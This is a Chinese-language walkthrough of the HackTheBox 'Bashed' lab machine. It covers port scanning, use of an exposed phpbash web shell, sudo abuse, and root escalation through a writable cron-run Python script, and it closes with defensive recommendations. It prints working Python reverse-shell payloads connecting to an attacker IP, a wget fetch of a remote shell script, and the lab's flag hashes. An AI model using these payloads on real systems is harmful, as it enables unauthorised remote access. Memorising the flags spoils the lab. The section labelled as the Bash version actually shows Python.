[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升
字数 1112 2025-08-22 12:23:42
Bashed PHP Bash+Python计划任务权限提升技术分析
1. 信息收集阶段
1.1 端口扫描
使用masscan和nmap进行快速扫描:
$ sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.10.68
扫描结果显示:
- 80/tcp: Apache httpd 2.4.18 (Ubuntu)
1.2 Web目录枚举
使用dirsearch工具发现敏感目录:
$ dirsearch -u http://10.10.10.68
发现重要路径:
- http://10.10.10.68/dev/
- http://10.10.10.68/dev/phpbash.php
2. 初始访问
2.1 利用phpbash.php获取Web Shell
访问phpbash.php可直接获得一个交互式Web Shell,这是一个非常危险的漏洞,允许攻击者直接执行系统命令。
3. 权限提升:www-data → scriptmanager
3.1 检查sudo权限
在获得的shell中执行:
$ sudo -l
检查当前用户(www-data)可以以哪些用户身份执行哪些命令。
3.2 利用sudo权限
发现可以以scriptmanager身份执行reverse.sh脚本:
$ sudo -u scriptmanager ./reverse.sh
通过这种方式提升到scriptmanager用户权限。
4. 权限提升:scriptmanager → root
4.1 监控进程
使用pspy工具监控系统进程:
$ ./pspy32
发现系统中有定期执行的Python脚本任务。
4.2 利用计划任务漏洞
发现/scripts目录下有Python脚本被root定期执行:
- 进入/scripts目录:
$ cd /scripts
- 创建恶意Python反向shell脚本(1.py):
import os,pty,socket
s=socket.socket()
s.connect(("10.10.16.16",443))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")
- 或者下载预制的反向shell脚本:
$ wget http://10.10.16.16/reverse.py
- 等待计划任务执行,获取root权限的shell。
5. 获取flag
- 用户flag:
8f7df2f47989e214ab11a888ee378946 - root flag:
96c6dadfc0c09eb783c4d2e614205ef9
6. 漏洞总结与防御建议
6.1 漏洞点
- Web服务器暴露了phpbash.php这样的危险文件
- 配置不当的sudo权限
- 不安全的计划任务实现(脚本可被非特权用户修改)
6.2 防御措施
- 定期检查并清理Web目录中的危险文件
- 严格配置sudo权限,遵循最小权限原则
- 计划任务脚本应设置为root所有且不可被其他用户修改
- 计划任务脚本所在目录应设置适当权限(700)
- 使用完整性检查工具监控关键系统文件变更
7. 扩展知识
7.1 反向Shell技术
本案例中使用了两种反向shell技术:
- Bash版本:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
- Python版本:
import os,pty,socket
s=socket.socket()
s.connect(("10.10.16.16",443))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")
7.2 计划任务监控
使用pspy等工具可以监控系统计划任务而不需要root权限,是权限提升的重要信息收集手段。